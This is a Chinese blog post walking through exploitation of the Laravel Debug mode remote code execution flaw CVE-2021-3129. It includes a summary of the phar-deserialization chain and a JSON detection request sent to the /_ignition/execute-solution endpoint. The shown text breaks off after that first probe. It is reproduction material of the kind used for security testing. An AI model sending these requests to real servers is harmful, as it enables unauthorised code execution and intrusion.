Laravel Debug mode RCE（CVE-2021-3129）漏洞利用

最新推荐文章于 2025-03-12 08:02:12 发布

qweqweqqqqqqqqqq

最新推荐文章于 2025-03-12 08:02:12 发布

阅读量1.6k

点赞数

分类专栏：反序列化 CVE 文章标签： laravel php

本文链接：https://blog.csdn.net/weixin_44302704/article/details/121771881

版权

本文详细介绍了如何利用Laravel的Debug模式远程代码执行漏洞（CVE-2021-3129）。首先，通过访问特定URL触发漏洞，接着利用POST请求和JSON内容类型进行进一步操作。包括清空日志、添加日志前缀、生成POC、处理日志文件干扰字符，以及通过phar://进行反序列化尝试执行代码。在复现过程中，发现数据包内容需要精简，仅保留host、Content-Length、Content-Type，其他字段可能导致利用失败。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

访问Laravel

访问/_ignition/execute-solution 抓包
会出现如下页面
在这里插入图片描述
2. 检测
修改为POST,添加内容
并且修改
Content-Type: application/json

{
   
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
   
    "variableName": "username",
    "viewFile": "xxxxxxx"
  }